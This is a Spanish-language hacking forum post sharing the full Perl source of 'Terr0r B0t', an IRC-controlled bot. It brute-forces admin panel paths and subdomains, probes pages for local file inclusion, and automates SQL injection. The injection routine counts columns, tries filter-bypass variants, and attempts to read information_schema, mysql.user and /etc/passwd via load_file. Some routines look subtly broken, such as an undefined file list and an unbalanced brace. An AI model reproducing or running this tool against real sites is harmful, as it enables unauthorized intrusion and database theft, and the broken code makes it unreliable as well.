Esa serian las tres partes , el chat tiene las siguientes opciones

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras

    Eso seria todo

    Cualquier vulnerabilidad la reportan

#480
Perl / [Perl] Terr0r B0t By Doddy H
Julio 03, 2011, 09:50:28 PM
Hola a todos.

Hoy les traigo un programa que hice anoche , este es un bot irc ,el cual
tiene las siguientes opciones :

* Codificacion y decodificacion de base64 , hex , ascii
* Buscar panel de administracion de algun sitio
* Scan SQLI  (busca numero de columnas y da info)
* Tool para explotar LFI

Comandos para el bot en el canal

Código: perl

!base64 encode/decode string
!hex encode/decode string
!ascii encode/decode string
!panel http://127.0.0.1
!sqli http://127.0.0.1/sql.php?id=
!lfi http://127.0.0.1/lfi.php?file='


Forma de uso :

Código: perl

C:/Users/DoddyH/Desktop/Arsenal X>terror-b0t.pl


[+] tERR0R b0T (c) dODDy HacKMaN 2010

[+] Starting the bot
[+] Online




Código: perl

#!usr/bin/perl
#Terr0r B0t (C) Doddy Hackman 2010
#Commands to use
#
#!base64 encode/decode string
#!hex encode/decode string
#!ascii encode/decode string
#!panel http://127.0.0.1
#!sqli http://127.0.0.1/sql.php?id=
#!lfi http://127.0.0.1/lfi.php?file='
#
#





use IO::Socket;
use LWP::UserAgent;
use HTTP::Request::Common;



@dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');


@panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/');

my $nave = LWP::UserAgent->new();
$nave->timeout(13);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");


print "\n[+] tERR0R b0T (c) dODDy HacKMaN 2010\n\n";

my $servidor = "127.0.0.1"; #Servidor IRC
my $canal = "#locos"; #Canal IRC del servidor especificado
my $nick = "Lepuke-Slave"; # Apodo del bot
my $port = "6667"; # Puerto del servidor IRC

print "[+] Starting the bot\n";

my $soquete = new IO::Socket::INET( PeerAddr =>$servidor,
PeerPort => $port,
Proto => 'tcp' );

if (!$soquete) {
print "\n[-] No se puedo conectar en $servidor $port\n";
exit 1;
}


print $soquete "NICK $nick\r\n";
print $soquete "USER $nick 1 1 1 1\r\n";
print $soquete "JOIN $canal\r\n";

print "[+] Online\n\n";

while ( my $log = <$soquete> ) {
chomp($log);

if ($log =~ /^PING(.*)$/i){
print $soquete "PONG $1\r\n";
}

if($log =~ m/:!panel (.*)$/g) {
scan($1);
print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
}

if($log =~ m/:!sqli (.*)$/g) {
print $soquete "PRIVMSG $canal : [+] SQL Scan Starting\r\n";
scan2($1);
}

if($log =~ m/:!fuzzdns (.*)$/g) {
scan1($1);
print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
}

if($log =~ m/:!lfi (.*)$/g) {
lfi($1);
print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
}



if($log =~ m/:!base64 (.*) (.*)$/g) {
use MIME::Base64;
my ($opcion,$aa) = ($1,$2);
if ($opcion eq "encode") {
print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Encode : ".encode_base64($aa)."\r\n";
}
elsif ($opcion eq "decode") {
print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Text : ".decode_base64($aa)."\r\n";
}
else {
print $soquete "PRIVMSG $canal : ??\r\n";
}
}

if($log =~ m/:!ascii (.*) (.*)$/) {
my ($opcion,$aa) = ($1,$2);
chomp $aa;
if ($opcion eq "encode") {
print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Encode : ".ascii($aa)."\r\n";
}
elsif ($opcion eq "decode") {
print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Text : ".ascii_de($aa)."\r\n";
}
else {
print $soquete "PRIVMSG $canal : ???\r\n";
}
}

if($log =~ m/:!hex (.*) (.*)$/) {
my ($opcion,$aa) = ($1,$2);
chomp $aa;
if ($opcion eq "encode") {
print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Encode : ".encode($aa)."\r\n";
}
elsif ($opcion eq "decode") {
print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
print $soquete "PRIVMSG $canal : [+] Text : ".decode($aa)."\r\n";
}
else {
print $soquete "PRIVMSG $canal : ????\r\n";
}
}
}

sub lfi {
print $soquete "PRIVMSG $canal : [+] Target confirmed : $_[0]"."\r\n";
print $soquete "PRIVMSG $canal : [+] Status : [scanning]"."\r\n";
$code = toma($_[0]);
if ($code=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
print $soquete "PRIVMSG $canal : [+] Vulnerable !"."\r\n";
print $soquete "PRIVMSG $canal : [*] Full path discloure detected : $1"."\r\n";
print $soquete "PRIVMSG $canal : [+] Status : [fuzzing files]"."\r\n";
for my $file(@buscar3) {
$code1 = toma($_[0].$file);
unless ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
$ok = 1;
print $soquete "PRIVMSG $canal : [File Found] : ".$_[0].$file."\r\n";
}
}
unless($ok == 1) {
print $soquete "PRIVMSG $canal : [-] Dont found any file"."\r\n";
}
} else {
print $soquete "PRIVMSG $canal : [-] Page not vulnerable to LFI"."\r\n";
}
}


sub scan1 {
print $soquete "PRIVMSG $canal : [*] Searching DNS to ".$_[0]."\r\n";
for my $path(@dns) {
$code = tomax("http://".$path.".".$_[0]);
if ($code->is_success) {
print $soquete "PRIVMSG $canal : http://".$path.".".$_[0]."\r\n";
}
}
}

sub scan {
print $soquete "PRIVMSG $canal [*] Searching panels to ".$_[0]."\r\n";
for my $path(@panels) {
$code = tomax($_[0]."/".$path);
if ($code->is_success) {
print "\a";
$ct = 1;
print $soquete "PRIVMSG $canal [Link] : ".$_[0]."/".$path."\r\n";
}
}
if ($ct ne 1) {
print $soquete "PRIVMSG $canal [-] Not found any path\r\n";
}
}



sub scan2 {

my $rows  = "0";
my $asc;
my $page = $_[0];

($pass1,$pass2) = &bypass($ARGV[1]);
$inyection = $page."-1".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
if($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
$code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
if ($code1=~/The used SELECT statements have a different number of columns/ig) {
my $path = $1;
chomp $path;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..52) {
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
$total.= ",".$rows;
$injection = $page."-1".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
print $soquete "PRIVMSG $canal : [Page] : $page\r\n";
print $soquete "PRIVMSG $canal : [Limit] : The site has $rows columns\r\n";
print $soquete "PRIVMSG $canal : [Data] : The number @number print data\r\n";
if ($test=~/RATSXPDOWN(\d+)/) {
if ($path) {
print $soquete "PRIVMSG $canal : [Full Path Discloure] : $path\r\n";
}
$total=~s/@number[0]/hackman/;
print $soquete "PRIVMSG $canal : [+] Injection SQL : ".$page."-1".$pass1."union".$pass1."select".$pass1.$total."\r\n";
&details($page."-1".$pass1."union".$pass1."select".$pass1.$total,$_[1]);
last;
}
}
}
}
}

sub details {
my $page = $_[0];
($pass1,$pass2) = &bypass($ARGV[1]);
if ($page=~/(.*)hackman(.*)/ig) {
my $start = $1; my $end = $2;
$test1 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2);
$test2 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2);
$test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
if ($test2=~/ERTOR854/ig) {
print $soquete "PRIVMSG $canal : [+] Posibilidad de ver usuarios con mysql.user\r\n";
}
if ($test1=~/ERTOR854/ig) {
print $soquete "PRIVMSG $canal : [+] Se pueden ver todo con information_schema\r\n";
}
if ($test3=~/ERTOR854/ig) {
print $soquete "PRIVMSG $canal : [+] load_file permite ver los archivos\r\n";
}
$code = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))".$end.$pass2);
if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
print $soquete "PRIVMSG $canal : [!] DB Version : $1\r\n";
print $soquete "PRIVMSG $canal : [!] DB Name : $2\r\n";
print $soquete "PRIVMSG $canal : [!] user_name : $3\r\n";
} else {
print $soquete "PRIVMSG $canal : [-] Not found any data\r\n";
}
print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
}
}
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}


sub ascii {
return join ',',unpack "U*",$_[0];
}

sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}


sub encode {
my $string = $_[0];
$hex = '0x';
for (split //,$string) {
$hex .= sprintf "%x", ord;
}return $hex;}

sub decode {
$_[0] =~ s/^0x//;
$encode = join q[], map { chr hex } $_[0] =~ /../g;
return $encode;
}

sub toma {
return $nave->request (GET $_[0])->content;
}

sub tomax {
return $nave->request (GET $_[0]);
}

#The End